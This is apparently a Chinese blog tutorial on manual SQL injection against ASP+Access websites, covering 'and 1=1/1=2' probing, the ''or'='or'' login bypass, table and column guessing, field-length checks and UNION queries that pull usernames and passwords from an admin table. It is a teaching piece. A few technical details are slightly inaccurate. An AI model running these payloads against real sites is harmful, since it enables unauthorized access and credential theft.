SQL注入我分成2部分来讲,第一部分来讲ASP+Access程序模式来讲实例。
SQL注入是利用正常的HTTP服务,一些防火墙的软硬件都无办法。
漏洞存在的原因:程序对用户的输入未做过滤。
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
ASP+Access手工注入
要注意的是都要网址都要跟一个参数才能进行手工SQL注入,比如上面的“id=1”,如果有注入,那么他的注入点则是“id”。
那么要如何去测试一个ASP程序网站是否存在注入漏洞呢?
最直接的办法就是在参数后面跟上“and 1=1”
这个网站,在他的参数后接上'and 1=1’后查看结果
在执行了“and 1=1”之后,网站原封不动的查询出了内容,并和先前无异。
那么,执行一下“and 1=2”之后呢,查看一下结果
执行“and 1=2”之后,网站报错,无法查询出内容,推断存在SQL注入。
读者可能很疑惑为什么能如此推断呢?其中原理就是and 1=1返回正常是肯定的,因为1在逻辑上来讲肯定等于1,程序返回正常也符合逻辑。那么and 1=2此处存在明显的逻辑错误,而且查询时又怎么能够找出 and 1=2这个页面呢?所以报错,报错了那么我们就可以判断,程序未做过滤,直接把用户的输入带入了查询,就能够说明存在注入漏洞。
如果对数据库“and”这个参数不理解,可以解释一下。
and 1=1返回正常
and 1=2返回错误
“and”是逻辑语言中“和”的意思,你和我,1和2都是如此。
and A=B意思是A和B如果都是正确的,那么程序为真,程序返回正常
先判断条件A正常则判断条件B如果条件A错误,就会直接返回错误
“or”则是逻辑语言中“或”的意思
or:或A and B: 只要有一个结果为真就返回真
拿万能密码的案例来讲,在一些ASP程序中,有很多万能密码这种案例。
万能密码:'or'='or'
原理是这样的:sql=select * from user where username='username'and password='$password'
这个句子不难,好理解,用户名等于数据库中的“nsername”,密码等于“password”才能登陆成功。
如果改成这样子呢?
from user where username=‘’or'='or‘’and password='$password'
看清楚,'or'='or'那里是两个单引号,在第一个等号前加单引号是为了闭合,前面两个单引号闭合,末尾两个单引号闭合,只留下or'='or,这下可以清楚的看出,单引号等于单引号,逻辑成立。一个条件成立了,就返回真,所以不需要后面的“and password”运算了,自然就出现了万能密码,不需要密码只需要用户名就可以进入程序后台,密码是什么根本无关系。
但是现在安全编程里面都做了要求,万能密码的情况在逐渐消失了。
回到上面,对于一个网站程序,该如何知道他的数据库类型呢?
最简单的办法就是在参数后面增加一个’单引号。
可以看到已经报错了,并且回复了Microsoft JET Database Engine错误'80040e14'
语法错误(操作符丢失) 在查询表达式 'id=142鈥' 中。
/thjx_xx.asp,行 79
推断Access数据库类型。
还有另外一种方法,是查独有表得出来的,因为现在很多网站都对单引号做了过滤,无法根据报错来得到结论,如果有这种情况,就可以使用下面这种方法。
and (select count (*) from独有表)>0
Access的数据库独有表名是“mssysobjects”,所以直接带入查询即可。
下面是各个数据库的独有表:
msssql:sysobjects
mysql:infomation——schema
access:mssysobjects
Oracle:sys.user_table
手工注入Access查表
如果猜测数据库的表名是admin,那么执行语句如下“”
and (select count (*) from admin)>0
如果结果返回正常,表就存在,如果返回缓慢,表则不存在。
查询admin表的个数,来和1比较,肯定大于1,那么就会返回正常,就存在这个表。
测试返回正常,存在“admin”表名。
找到注入点了,就请挨个手动查询,表可能很多。
Access查字段
上面我们已经知道了存在admin表名,就可以查这个表名的字段了
and (select count (name) from admin)>0
查询“name”字段,报错,不存在name字段。
and (select count (id) from admin)>0
查询“id”字段,页面返回正常,得出admin表里拥有id字段的结论。
判断长度
接下来该做的就是判断长度,这里需要用到“len”的函数
and (select top 1 len (id) from admin)>2
这个语句是什么意思呢?
求这个id字段大于2,返回正常,大于2返回错误,说明长度是2。
select * from表where len(字段) =值
换成等于符号也可以,
and (select top 1 len(id) from admin)=2
等于2也正常返回,说明字段长度就在2。
一般用户名也就英文格式,几个,按个按页面返回进行猜解吧。
还有一种是联合注入的方式,比较简单,就不放图了,希望读者能够根据上面的图正确理解联合注入。
联合注入
联合注入首先需要用order by来确定列表数
order by 5显示正常
order by 6显示错误
说明数据库里只有五个列表
那么,我们猜表名。
union select 1,2,3,4,5 from admin
查询是否存在admin这个表名,如果有就返回正常,没有就错误。
猜表数据
union select 1,username,password,4,5 from admin
语句意思是admin如果存在username,password两个字段就会被爆出来,如果没有,就会直接报错。
Access的结构只能依靠暴力破解,所以有时候猜着也挺烦躁的,今天就先写到这里吧。
领取 专属20元代金券
Get大咖技术交流圈